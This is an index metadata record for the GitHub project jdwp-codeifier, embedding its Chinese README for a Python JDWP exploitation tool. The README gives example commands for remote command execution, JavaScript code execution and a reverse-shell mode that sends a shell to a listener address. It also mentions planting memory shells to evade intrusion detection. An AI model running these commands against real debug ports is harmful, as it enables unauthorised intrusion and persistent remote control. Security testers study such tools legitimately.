{"id":14638106,"url":"https://github.com/l3yx/jdwp-codeifier","last_synced_at":"2026-01-17T05:29:52.066Z","repository":{"id":243448760,"uuid":"722956583","full_name":"l3yx/jdwp-codeifier","owner":"l3yx","description":"基于 jdwp-shellifier 的进阶JDWP漏洞利用脚本（动态执行Java/Js代码并获得回显）","archived":false,"fork":false,"pushed_at":"2024-12-22T05:34:36.000Z","size":819,"stargazers_count":307,"open_issues_count":0,"forks_count":31,"subscribers_count":2,"default_branch":"main","last_synced_at":"2025-09-07T06:33:44.164Z","etag":null,"topics":["jdwp","security"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/l3yx.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-11-24T10:46:46.000Z","updated_at":"2025-09-03T09:26:44.000Z","dependencies_parsed_at":"2024-06-09T01:55:34.052Z","dependency_job_id":"2b09752d-cd6c-42c5-bc1e-dc0d4b41de95","html_url":"https://github.com/l3yx/jdwp-codeifier","commit_stats":null,"previous_names":["l3yx/jdwp-codeifier"],"tags_count":0,"template":false,"template_full_name":null,"purl":"pkg:github/l3yx/jdwp-codeifier","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/l3yx%2Fjdwp-codeifier","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/l3yx%2Fjdwp-codeifier/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/l3yx%2Fjdwp-codeifier/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/l3yx%2Fjdwp-codeifier/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/l3yx","download_url":"https://codeload.github.com/l3yx/jdwp-codeifier/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/l3yx%2Fjdwp-codeifier/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":28499704,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-01-17T04:31:57.058Z","status":"ssl_error","status_checked_at":"2026-01-17T04:31:45.816Z","response_time":85,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.6:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["jdwp","security"],"created_at":"2024-09-10T02:01:43.075Z","updated_at":"2026-01-17T05:29:52.034Z","avatar_url":"https://github.com/l3yx.png","language":"Python","funding_links":[],"categories":["Python","红队\u0026渗透测试"],"sub_categories":[],"readme":"# jdwp-codeifier\n\n## 介绍\n对于JDWP漏洞的武器化利用最早可以追溯到2014年的项目：https://github.com/IOActive/jdwp-shellifier ，作者通过Python2实现JDWP协议，以设置断点的方式获取线程上下文从而调用Runtime.getRuntime().exec()执行系统命令\n\n2020年Lz1y借鉴[MSF中的利用方式](https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_jdwp_debugger.rb)改写jdwp-shellifier，通过对Sleeping的线程发送单步执行事件，完成断点，从而可以直接获取上下文、执行命令，而不用等待断点被击中，项目地址：https://github.com/Lz1y/jdwp-shellifier\n\n2022年r3change基于原版断点方式的jdwp-shellifier进行改写，增加了命令执行的回显，项目地址：https://github.com/r3change/jdwp-shellifier\n\n但JDWP漏洞的利用本身不局限于“命令执行”，而且有时候为了规避入侵检测，或者为了植入内存马等，是需要动态执行Java代码的，所以我基于jdwp-shellifier再次改写了一版进阶的JDWP漏洞利用脚本，改名为jdwp-codeifier，同样使用不需要等待断点的方式且能够动态执行Java/Js代码并获得回显\n\n## 使用\n~~由于原版代码依赖了很多Python2特性，改起来有点费劲，所以这一版依然还是只支持Python2，期待有师傅提交同时兼容Python2/3的PR。~~\n\n感谢[syyu6](https://github.com/syyu6)师傅添加Python3支持\n\n\n### 用法\n```\nusage: jdwp-codeifier.py [-h] -t IP [-p Port] [-m Mode] [-c Command/Code]\n                         [-a Address] [-l life]\n\nAdvanced exploitation script for JDWP by @leixiao, base on @_hugsy_, @Lz1y,\n@r3change\n\noptional arguments:\n  -h, --help       show this help message and exit\n  -t IP            Remote target IP (default: None)\n  -p Port          Remote target port (default: 8000)\n  -m Mode          command/code/rshell (default: code)\n  -c Command/Code  Command or JavaScript Code (default: None)\n  -a Address       The address of reverse shell (default: None)\n  -l life          The survival time (minute) of the shell when unable to\n                   connect to the server (default: 1)\n```\n\n### 命令执行\n项目也保留了原本的命令执行功能，但命令行参数略有不同，执行 touch /tmp/success：\n\n(需要回显使用-m command2)\n\n```\npython jdwp-codeifier.py -t 172.17.0.3 -p 8000 -m command -c 'touch /tmp/success'\n```\n![img.png](README/img.png)\n\n### 代码执行\n\n（高版本JDK不适用）\n\n动态代码执行是通过new javax.script.ScriptEngineManager().getEngineByName(\"js\").eval()实现的，所以语法上是JS代码，但依然可以调用Java方法\n\n执行系统命令并回显：\n```\npython jdwp-codeifier.py -t 172.17.0.3 -p 8000 -m code -c 'new java.util.Scanner(new java.lang.ProcessBuilder(\"sh\",\"-c\",\"whoami\").start().getInputStream()).useDelimiter(\"--!@#\").next()'\n```\n![img.png](README/img1.png)\n\n\n通过JS代码还可以动态定义类，加载外部类，插入内存马等等... 各位就自己发挥了\n\n## 反弹Java内存Shell\n\n（高版本JDK不适用）\n\nhttps://l3yx.github.io/2023/12/03/%E9%80%9A%E8%BF%87JDWP%E6%BC%8F%E6%B4%9E%E6%B3%A8%E5%85%A5%E4%B8%8D%E4%B8%80%E6%A0%B7%E7%9A%84%E5%86%85%E5%AD%98%E9%A9%AC/#%E5%8F%8D%E5%90%91%E5%86%85%E5%AD%98Shell\n\n```\npython jdwp-codeifier.py -t 172.17.0.3 -p 8000 -m rshell -a 172.17.0.2:8080 -l 0.1\n# -a 指定接收shell的地址\n# -l 指定shell与服务器连接不上时的最大存活时间（分钟）（每隔5秒自动重连）\n```\n![Alt text](README/img2.png)\n\n## 命令执行回显\n由于高版本JDK不支持以上JS代码执行及回显，我又优化了下命令执行的逻辑，添加了命令执行回显，支持高版本JDK\n```\npython2 jdwp-codeifier.py -t 172.17.0.3 -p 5005 -m command2 -c 'ls'\n```\n\n![image-20241113222527330](./README/image-20241113222527330.png)\n\n\n\n## 免责声明\n本工具仅面向合法的学习或研究行为。在使用本工具过程中，您应确保自己所有行为符合当地的法律法规。 如您在使用本工具的过程中存在任何非法行为，您将自行承担所有后果，本工具所有开发者和所有贡献者不承担任何法律及连带责任。 除非您已充分阅读、完全理解并接受本协议所有条款，否则，请您不要安装并使用本工具。 您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的，即视为您已阅读并同意本协议的约束。\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fl3yx%2Fjdwp-codeifier","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fl3yx%2Fjdwp-codeifier","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fl3yx%2Fjdwp-codeifier/lists"}